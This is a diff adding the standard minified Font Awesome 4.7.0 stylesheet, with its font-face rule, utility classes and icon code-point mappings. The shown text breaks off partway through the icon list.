+++ b/public/css/font-awesome.min.css
@@ -0,0 +1,4 @@
+/*!
+ *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
+ *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
+ */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}.fa-step-forward:before{content:"\f051"}.fa-eject:before{content:"\f052"}.fa-chevron-left:before{content:"\f053"}.fa-chevron-right:before{content:"\f054"}.fa-plus-circle:before{content:"\f055"}.fa-minus-circle:before{content:"\f056"}.fa-times-circle:before{content:"\f057"}.fa-check-circle:before{content:"\f058"}.fa-question-circle:before{content:"\f059"}.fa-info-circle:before{content:"\f05a"}.fa-crosshairs:before{content:"\f05b"}.fa-times-circle-o:before{content:"\f05c"}.fa-check-circle-o:before{content:"\f05d"}.fa-ban:before{content:"\f05e"}.fa-arrow-left:before{content:"\f060"}.fa-arrow-right:before{content:"\f061"}.fa-arrow-up:before{content:"\f062"}.fa-arrow-down:before{content:"\f063"}.fa-mail-forward:before,.fa-share:before{content:"\f064"}.fa-expand:before{content:"\f065"}.fa-compress:before{content:"\f066"}.fa-plus:before{content:"\f067"}.fa-minus:before{content:"\f068"}.fa-asterisk:before{content:"\f069"}.fa-exclamation-circle:before{content:"\f06a"}.fa-gift:before{content:"\f06b"}.fa-leaf:before{content:"\f06c"}.fa-fire:before{content:"\f06d"}.fa-eye:before{content:"\f06e"}.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:before{content:"\f076"}.fa-chevron-up:before{content:"\f077"}.fa-chevron-down:before{content:"\f078"}.fa-retweet:before{content:"\f079"}.fa-shopping-cart:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:before{content:"\f081"}.fa-facebook-square:before{content:"\f082"}.fa-camera-retro:before{content:"\f083"}.fa-key:before{content:"\f084"}.fa-gears:before,.fa-cogs:before{content:"\f085"}.fa-comments:before{content:"\f086"}.fa-thumbs-o-up:before{content:"\f087"}.fa-thumbs-o-down:before{content:"\f088"}.fa-star-half:before{content:"\f089"}.fa-heart-o:before{content:"\f08a"}.fa-sign-out:before{content:"\f08b"}.fa-linkedin-square:before{content:"\f08c"}.fa-thumb-tack:before{content:"\f08d"}.fa-external-link:before{content:"\f08e"}.fa-sign-in:before{content:"\f090"}.fa-trophy:before{content:"\f091"}.fa-github-square:before{content:"\f092"}.fa-upload:before{content:"\f093"}.fa-lemon-o:before{content:"\f094"}.fa-phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{content:"\f09b"}.fa-unlock:before{content:"\f09c"}.fa-credit-card:before{content:"\f09d"}.fa-feed:before,.fa-rss:before{content:"\f09e"}.fa-hdd-o:before{content:"\f0a0"}.fa-bullhorn:before{content:"\f0a1"}.fa-bell:before{content:"\f0f3"}.fa-certificate:before{content:"\f0a3"}.fa-hand-o-right:before{content:"\f0a4"}.fa-hand-o-left:before{content:"\f0a5"}.fa-hand-o-up:before{content:"\f0a6"}.fa-hand-o-down:before{content:"\f0a7"}.fa-arrow-circle-left:before{content:"\f0a8"}.fa-arrow-circle-right:before{content:"\f0a9"}.fa-arrow-circle-up:before{content:"\f0aa"}.fa-arrow-circle-down:before{content:"\f0ab"}.fa-globe:before{content:"\f0ac"}.fa-wrench:before{content:"\f0ad"}.fa-tasks:before{content:"\f0ae"}.fa-filter:before{content:"\f0b0"}.fa-briefcase:before{content:"\f0b1"}.fa-arrows-alt:before{content:"\f0b2"}.fa-group:before,.fa-users:before{content:"\f0c0"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-cloud:before{content:"\f0c2"}.fa-flask:before{content:"\f0c3"}.fa-cut:before,.fa-scissors:before{content:"\f0c4"}.fa-copy:before,.fa-files-o:before{content:"\f0c5"}.fa-paperclip:before{content:"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:before{content:"\f0cc"}.fa-underline:before{content:"\f0cd"}.fa-table:before{content:"\f0ce"}.fa-magic:before{content:"\f0d0"}.fa-truck:before{content:"\f0d1"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-square:before{content:"\f0d3"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-plus:before{content:"\f0d5"}.fa-money:before{content:"\f0d6"}.fa-caret-down:before{content:"\f0d7"}.fa-caret-up:before{content:"\f0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-up:before,.fa-sort-asc:before{content:"\f0de"}.fa-envelope:before{content:"\f0e0"}.fa-linkedin:before{content:"\f0e1"}.fa-rotate-left:before,.fa-undo:before{content:"\f0e2"}.fa-legal:before,.fa-gavel:before{content:"\f0e3"}.fa-dashboard:before,.fa-tachometer:before{content:"\f0e4"}.fa-comment-o:before{content:"\f0e5"}.fa-comments-o:before{content:"\f0e6"}.fa-flash:before,.fa-bolt:before{content:"\f0e7"}.fa-sitemap:before{content:"\f0e8"}.fa-umbrella:before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-toggle-down:before,.fa-caret-square-o-down:before{content:"\f150"}.fa-toggle-up:before,.fa-caret-square-o-up:before{content:"\f151"}.fa-toggle-right:before,.fa-caret-square-o-right:before{content:"\f152"}.fa-euro:before,.fa-eur:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-rupee:before,.fa-inr:before{content:"\f156"}.fa-cny:before,.fa-rmb:before,.fa-yen:before,.fa-jpy:before{content:"\f157"}.fa-ruble:before,.fa-rouble:before,.fa-rub:before{content:"\f158"}.fa-won:before,.fa-krw:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-turkish-lira:before,.fa-try:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-institution:before,.fa-bank:before,.fa-university:before{content:"\f19c"}.fa-mortar-board:before,.fa-graduation-cap:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"